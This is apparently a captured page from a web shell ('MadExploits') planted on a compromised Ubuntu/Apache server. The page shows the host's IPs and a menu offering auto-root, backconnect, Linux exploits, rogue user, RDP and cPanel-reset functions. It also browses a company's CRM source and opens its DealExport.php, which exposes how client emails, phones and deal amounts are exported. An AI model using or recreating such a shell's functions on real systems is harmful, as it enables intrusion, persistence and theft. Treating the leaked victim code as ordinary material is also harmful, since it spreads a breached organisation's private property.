Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.207
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
EstimationsExport.php
4.11
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DealExport.php
<?php namespace App\Exports; use App\Models\Deal; use Illuminate\Foundation\Auth\User; use Illuminate\Support\Facades\DB; use Illuminate\Http\Request; // Importing Request class use Maatwebsite\Excel\Concerns\FromQuery; use Maatwebsite\Excel\Concerns\WithMapping; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithChunkReading; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Support\Facades\Response; // Importing Response class use Maatwebsite\Excel\Facades\Excel; class DealExport implements FromQuery, WithHeadings, WithMapping, WithChunkReading, ShouldQueue { protected $deal_name; protected $user_deals; protected $from; protected $to; protected $domain_id; protected $owner_id; protected $country_id; protected $order_type; protected $lead_source_id; protected $pipeline_stage; public function __construct($deal_name, $user_deals, $from, $to,$domain_id,$owner_id,$country_id,$order_type,$lead_source_id,$pipeline_stage,$team_member) { $this->deal_name = $deal_name; $this->user_deals = $user_deals; $this->from = $from; $this->to = $to; $this->domain_id = $domain_id; $this->owner_id = $owner_id; $this->country_id = $country_id; $this->order_type = $order_type; $this->lead_source_id = $lead_source_id; $this->pipeline_stage = $pipeline_stage; $this->team_member= $team_member; } public function query() { // Build the query to fetch deals $query = Deal::with([ 'client:id,name', 'client.emails:id,value,model_id', 'client.phoneNos:id,value,model_id', 'dealProducts:id,deal_id,product_id,product_length,product_width,product_height,product_color_id,product_stock_id,product_style_id,product_measurement_unit_id', 'dealProducts.product:id,name', 'dealProducts.productstyle:id,name', 'dealProducts.product_unit:id,name', 'dealProducts.product_stock:id,name', 'dealProducts.productColor:id,name', 'dealProducts.dealProductQuantityAndEstimationAmounts_sigle:id,deal_product_id,deal_product_quantity,deal_product_est_amount,deal_product_amount,receive_able_amount', 'owner:id,first_name,last_name', 'lead_source:id,name', // Assuming there's a lead_source relationship 'piplelinestage:id,name' // Assuming there's a pipeline_stage relationship ]) ->select(['id', 'order_number', 'client_id', 'lead_type_id', 'open_date', 'close_date', 'lead_source_id', 'pipeline_stage_id', 'owner_id']) ->orderBy('deals.open_date', 'desc'); // Apply filters if ($this->deal_name) { $query->whereHas('client', function ($query) { $query->where('name', 'like', $this->deal_name . '%') ->orWhereHas('clientDetails', function ($query) { $query->where('value', 'like', $this->deal_name . '%') ->orWhere('order_number', 'like', $this->deal_name . '%'); }); }); } // Role-based filtering if (!empty($this->team_member)) { if (auth()->user()->hasRole('Team Lead') || auth()->user()->hasRole('super-admin')) { print_r($this->team_member); $query->whereIn('owner_id', explode(',', $this->team_member))->where('deal_status', 1)->orderBy('order_number', 'desc'); } else { $query->where('deal_status', 1)->where('owner_id', auth()->user()->id)->orderBy('order_number', 'desc'); } }else{ if (auth()->user()->hasRole('Team Lead')) { $uid = User::where('id', auth()->user()->id)->first(); $query->whereIn('owner_id', explode(',', $uid->team_member))->where('deal_status', 1)->orderBy('order_number', 'desc'); } else if (auth()->user()->hasRole('super-admin') ) { $query->where('deal_status', 1)->orderBy('order_number', 'desc'); } else { $query->where('deal_status', 1)->where('owner_id', auth()->user()->id)->orderBy('order_number', 'desc'); } } $first = date("Y-m-d", strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); // Date filtering if($this->pipeline_stage !=4 && $this->pipeline_stage!=5) { $query->whereBetween('deals.open_date', [$this->from ?? $first, $this->to ?? $last]); }else{ $query->whereBetween('deals.close_date', [$this->from ?? $first, $this->to ?? $last]); } if(!empty($this->domain_id )) { $query->where('domain_id' ,'=', $this->domain_id); } if(isset( $this->lead_source_id)) { $query->where('lead_source_id' ,'=', $this->lead_source_id); } if(!empty($this->pipeline_stage)) { $query->where('pipeline_stage_id' ,'=', $this->pipeline_stage); } // $data->where('show_follow_up' ,'=', 1); if(auth()->user()->employee_country_id==2){ $query->where('production_from' ,'=',auth()->user()->employee_country_id); } return $query; // Return the built query } public function chunkSize(): int { return 100; // Specify the chunk size } public function exportCsv(Request $request) { // Set the headers for the CSV file $headers = [ "Content-type" => "text/csv", "Content-Disposition" => "attachment; filename=deals_export.csv", "Pragma" => "no-cache", "Cache-Control" => "must-revalidate, post-check=0, pre-check=0", "Expires" => "0", ]; // Create a handle to the output $handle = fopen('php://output', 'w'); // Output the CSV header fputcsv($handle, $this->headings()); // Use chunking to write data $this->query()->chunk($this->chunkSize(), function ($deals) use ($handle) { foreach ($deals as $deal) { fputcsv($handle, $this->map($deal)); } }); fclose($handle); return Response::make('', 200, $headers); } public function headings(): array { return [ 'Order Number', 'Client Name', 'Client Email', 'Client Phone', 'Product', 'Box Style', 'Box Printing', 'Box Length', 'Box Width', 'Box Height', 'Box Measurement Units', 'Quantity', 'Cardboard Stock', 'Printing Color', 'Est Amount', 'Selling Amount', 'Receive Amount', 'Balance', 'Lead Source', 'Lead Type', 'Opening Date', 'Closing Date', 'Pipe Line Stage', 'Agent' ]; } public function map($deal): array { // Determine the lead type $lead_type = $deal->lead_type_id == 1 ? 'Valid' : ($deal->lead_type_id == 2 ? 'In-Valid' : ''); // Format the close date $close_date = $deal->close_date ? date('d-m-Y', strtotime($deal->close_date)) : ''; // Initialize client details $emails = ''; $phoneNos = ''; if ($deal->client) { $emails = optional($deal->client->emails->first())->value ?? ''; // Client Email $phoneNos = optional($deal->client->phoneNos->first())->value ?? ''; // Client Phone } // Retrieve product names and styles $productNames = $deal->dealProducts->pluck('product.name')->filter()->toArray(); $productStyles = $deal->dealProducts->pluck('productstyle.name')->filter()->toArray(); // Get the first product $firstProduct = $deal->dealProducts->first(); // Initialize quantities and amounts $quantities = $deal->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_quantity')->filter()->toArray(); $estimationAmounts = $deal->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_est_amount')->filter()->toArray(); $amounts = $deal->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_amount')->filter()->toArray(); $receiveAbleAmounts = $deal->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.receive_able_amount')->filter()->toArray();; $amountDifference = 0; return [ $deal->order_number, // Order Number optional($deal->client)->name ?? '', // Client Name $emails, // Client Email $this->formatUSPhoneNumber($phoneNos), // Client Phone implode(', ', $productNames), // Product Names implode(', ', $productStyles), // Product Styles '', // Placeholder for any additional data implode(', ', $deal->dealProducts->pluck('product_length')->filter()->toArray()), // Product Lengths implode(', ', $deal->dealProducts->pluck('product_width')->filter()->toArray()), // Product Widths implode(', ', $deal->dealProducts->pluck('product_height')->filter()->toArray()), // Product Heights implode(', ', $deal->dealProducts->pluck('product_unit.name')->filter()->toArray()), // Product Units implode(', ', $quantities), // First Quantity implode(', ', $deal->dealProducts->pluck('product_stock.name')->filter()->toArray()), // Product Stocks implode(', ', $deal->dealProducts->pluck('productColor.name')->filter()->toArray()), // Product Colors implode(', ', $quantities), // Joining quantities implode(', ', $estimationAmounts), // Joining estimation amounts implode(', ', $amounts), // Joining amounts implode(', ', $receiveAbleAmounts), optional($deal->lead_source)->name ?? '', // Lead Source $lead_type, // Lead Type date('d-m-Y', strtotime($deal->open_date)) ?? "", // Open Date $close_date, // Close Date optional($deal->piplelinestage)->name ?? '', // Pipeline Stage optional($deal->owner)->first_name . ' ' . optional($deal->owner)->last_name, // Owner Name ]; } function formatUSPhoneNumber($phone) { // Remove any non-numeric characters $phone = preg_replace('/[^0-9]/', '', $phone); // Check if the phone number has a country code if (strlen($phone) == 11 && substr($phone, 0, 1) == '1') { // Remove the leading '1' country code for US numbers $phone = substr($phone, 1); } // Format the phone number if it has 10 digits if (strlen($phone) == 10) { return '+1 ('.substr($phone, 0, 3).') '.substr($phone, 3, 3).'-'.substr($phone, 6); } // Return the original input if it doesn't match the expected format return $phone; } }
Close